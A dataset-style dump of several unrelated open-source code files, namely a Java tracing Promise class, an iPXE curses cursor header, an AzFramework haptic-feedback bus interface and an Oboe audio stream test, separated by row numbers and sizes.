private final Collection<ErrorCallback> errorCallbacks = new LinkedList<>();
public Promise(PromiseContext context, MockTracer tracer) {
this.context = context;
// Passed along here for testing. Normally should be referenced via GlobalTracer.get().
this.tracer = tracer;
parentSpan = tracer.scopeManager().activeSpan();
}
public void onSuccess(SuccessCallback<T> successCallback) {
successCallbacks.add(successCallback);
}
public void onError(ErrorCallback errorCallback) {
errorCallbacks.add(errorCallback);
}
public void success(final T result) {
for (final SuccessCallback<T> callback : successCallbacks) {
context.submit(
new Runnable() {
@Override
public void run() {
Span childSpan = tracer
.buildSpan("success")
.addReference(References.FOLLOWS_FROM, parentSpan.context())
.withTag(Tags.COMPONENT.getKey(), "success")
.start();
try (Scope childScope = tracer.activateSpan(childSpan)) {
callback.accept(result);
} finally {
childSpan.finish();
}
context.getPhaser().arriveAndAwaitAdvance(); // trace reported
}
});
}
}
public void error(final Throwable error) {
for (final ErrorCallback callback : errorCallbacks) {
context.submit(
new Runnable() {
@Override
public void run() {
Span childSpan = tracer
.buildSpan("error")
.addReference(References.FOLLOWS_FROM, parentSpan.context())
.withTag(Tags.COMPONENT.getKey(), "error")
.start();
try (Scope childScope = tracer.activateSpan(childSpan)) {
callback.accept(error);
} finally {
childSpan.finish();
}
context.getPhaser().arriveAndAwaitAdvance(); // trace reported
}
});
}
}
public interface SuccessCallback<T> {
/** @param t the result of the promise */
void accept(T t);
}
public interface ErrorCallback {
/** @param t the error result of the promise */
void accept(Throwable t);
}
}
| 1,374 |
521 | #ifndef CURSOR_H
#define CURSOR_H
/** @file
*
* MuCurses cursor implementation specific header file
*
*/
FILE_LICENCE ( GPL2_OR_LATER );
struct cursor_pos {
unsigned int y, x;
};
/**
* Restore cursor position from encoded backup variable
*
* @v *win window on which to operate
* @v *pos pointer to struct in which original cursor position is stored
*/
static inline void _restore_curs_pos ( WINDOW *win, struct cursor_pos *pos ) {
wmove ( win, pos->y, pos->x );
}
/**
* Store cursor position for later restoration
*
* @v *win window on which to operate
* @v *pos pointer to struct in which to store cursor position
*/
static inline void _store_curs_pos ( WINDOW *win, struct cursor_pos *pos ) {
pos->y = win->curs_y;
pos->x = win->curs_x;
}
#endif /* CURSOR_H */
| 272 |
1,738 | /*
* All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or
* its licensors.
*
* For complete copyright and license terms please see the LICENSE at the root of this
* distribution (the "License"). All use of this software is governed by the License,
* or, if provided, by the license below or the license accompanying this file. Do not
* remove or modify any license notices. This file is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
*/
#pragma once
#include <AzFramework/Input/Devices/InputDeviceId.h>
#include <AzCore/EBus/EBus.h>
////////////////////////////////////////////////////////////////////////////////////////////////////
namespace AzFramework
{
////////////////////////////////////////////////////////////////////////////////////////////////
//! EBus interface used to send haptic feedback requests to connected input devices
class InputHapticFeedbackRequests : public AZ::EBusTraits
{
public:
////////////////////////////////////////////////////////////////////////////////////////////
//! EBus Trait: requests can be addressed to a specific InputDeviceId using EBus<>::Event,
//! which should be handled by only one device that has connected to the bus using that id.
//! Input requests can also be sent using EBus<>::Broadcast, in which case they'll be sent
//! to all input devices that have connected to the input event bus regardless of their id.
static const AZ::EBusAddressPolicy AddressPolicy = AZ::EBusAddressPolicy::ById;
////////////////////////////////////////////////////////////////////////////////////////////
//! EBus Trait: requests should be handled by only one input device connected to each id
static const AZ::EBusHandlerPolicy HandlerPolicy = AZ::EBusHandlerPolicy::Single;
////////////////////////////////////////////////////////////////////////////////////////////
//! EBus Trait: requests can be addressed to a specific InputDeviceId
using BusIdType = InputDeviceId;
////////////////////////////////////////////////////////////////////////////////////////////
//! Set the current vibration (force-feedback) of the input device. All calls to this method
//! should be addressed to a specific input device, otherwise all devices that support force
//! feedback will respond! To stop all vibration, call this passing 0.0f for both parameters.
//!
//! Called using either:
//! - EBus<>::Broadcast (any input device can respond to the request)
//! - EBus<>::Event(id) (the given device can respond to the request)
//!
//! \param[in] leftMotorSpeedNormalized Speed of the left (large/low frequency) motor
//! \param[in] rightMotorSpeedNormalized Speed of the right (small/high frequency) motor
virtual void SetVibration(float /*leftMotorSpeedNormalized*/,
float /*rightMotorSpeedNormalized*/) = 0;
////////////////////////////////////////////////////////////////////////////////////////////
//! Default destructor
virtual ~InputHapticFeedbackRequests() = default;
};
using InputHapticFeedbackRequestBus = AZ::EBus<InputHapticFeedbackRequests>;
} // namespace AzFramework
| 951 |
3,008 | <filename>tests/testReturnStop.cpp<gh_stars>1000+
/*
* Copyright 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <atomic>
#include <tuple>
#include <gtest/gtest.h>
#include <oboe/Oboe.h>
// Test returning DataCallbackResult::Stop from a callback.
using namespace oboe;
static constexpr int kTimeoutInNanos = 500 * kNanosPerMillisecond;
class ReturnStopCallback : public AudioStreamDataCallback {
public:
DataCallbackResult onAudioReady(AudioStream *oboeStream, void *audioData, int32_t numFrames) override {
callbackCount++;
return (callbackCount < kMaxCallbacks) ? DataCallbackResult::Continue : DataCallbackResult::Stop;
}
void reset() {
callbackCount = 0;
}
int getMaxCallbacks() const { return kMaxCallbacks; }
std::atomic<int> callbackCount{0};
private:
// I get strange linker errors with GTest if I try to reference this directly.
static constexpr int kMaxCallbacks = 4;
};
using StreamReturnStopParams = std::tuple<Direction, AudioApi, PerformanceMode, bool>;
class StreamReturnStop : public ::testing::Test,
public ::testing::WithParamInterface<StreamReturnStopParams> {
protected:
void TearDown() override;
AudioStreamBuilder mBuilder;
AudioStream *mStream = nullptr;
};
void StreamReturnStop::TearDown() {
if (mStream != nullptr) {
mStream->close();
mStream = nullptr;
}
}
TEST_P(StreamReturnStop, VerifyStreamReturnStop) {
const Direction direction = std::get<0>(GetParam());
const AudioApi audioApi = std::get<1>(GetParam());
const PerformanceMode performanceMode = std::get<2>(GetParam());
const bool useRequestStart = std::get<3>(GetParam());
ReturnStopCallback *callback = new ReturnStopCallback();
mBuilder.setDirection(direction)
->setAudioApi(audioApi)
->setFormat(AudioFormat::Float)
->setPerformanceMode(performanceMode)
->setDataCallback(callback);
mStream = nullptr;
Result r = mBuilder.openStream(&mStream);
ASSERT_EQ(r, Result::OK) << "Failed to open stream." << convertToText(r);
// Start and stop several times.
for (int i = 0; i < 3; i++) {
callback->reset();
// Oboe has two ways to start a stream.
if (useRequestStart) {
r = mStream->requestStart();
} else {
r = mStream->start();
}
ASSERT_EQ(r, Result::OK) << "Failed to start stream." << convertToText(r);
// Wait for callbacks to complete.
const int kMaxCallbackPeriodMillis = 200;
const int kPollPeriodMillis = 20;
int timeout = 2 * callback->getMaxCallbacks() * kMaxCallbackPeriodMillis / kPollPeriodMillis;
do {
usleep(kPollPeriodMillis * 1000);
} while (callback->callbackCount < callback->getMaxCallbacks() && timeout-- > 0);
EXPECT_GT(timeout, 0) << "timed out waiting for enough callbacks";
StreamState next = StreamState::Unknown;
r = mStream->waitForStateChange(StreamState::Started, &next, kTimeoutInNanos);
EXPECT_EQ(r, Result::OK) << "waitForStateChange(Started) timed out." << convertToText(r);
r = mStream->waitForStateChange(StreamState::Stopping, &next, kTimeoutInNanos);
EXPECT_EQ(r, Result::OK) << "waitForStateChange(Stopping) timed out." << convertToText(r);
EXPECT_EQ(next, StreamState::Stopped) << "Stream not in state Stopped, was " << convertToText(next);
EXPECT_EQ(callback->callbackCount, callback->getMaxCallbacks()) << "Too many callbacks = " << callback->callbackCount;
}
ASSERT_EQ(Result::OK, mStream->close());
}
INSTANTIATE_TEST_SUITE_P(
StreamReturnStopTest,
StreamReturnStop,
::testing::Values(
// Last boolean is true if requestStart() should be called instead of start().
StreamReturnStopParams({Direction::Output, AudioApi::AAudio, PerformanceMode::LowLatency, true}),
StreamReturnStopParams({Direction::Output, AudioApi::AAudio, PerformanceMode::LowLatency, false}),
StreamReturnStopParams({Direction::Output, AudioApi::AAudio, PerformanceMode::None, true}),
StreamReturnStopParams({Direction::Output, AudioApi::AAudio, PerformanceMode::None, false}),
StreamReturnStopParams({Direction::Output, AudioApi::OpenSLES, PerformanceMode::LowLatency, true}),
StreamReturnStopParams({Direction::Output, AudioApi::OpenSLES, PerformanceMode::LowLatency, false}),
StreamReturnStopParams({Direction::Input, AudioApi::AAudio, PerformanceMode::LowLatency, true}),
StreamReturnStopParams({Direction::Input, AudioApi::AAudio, PerformanceMode::LowLatency, false})
)
);
| 1,847 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.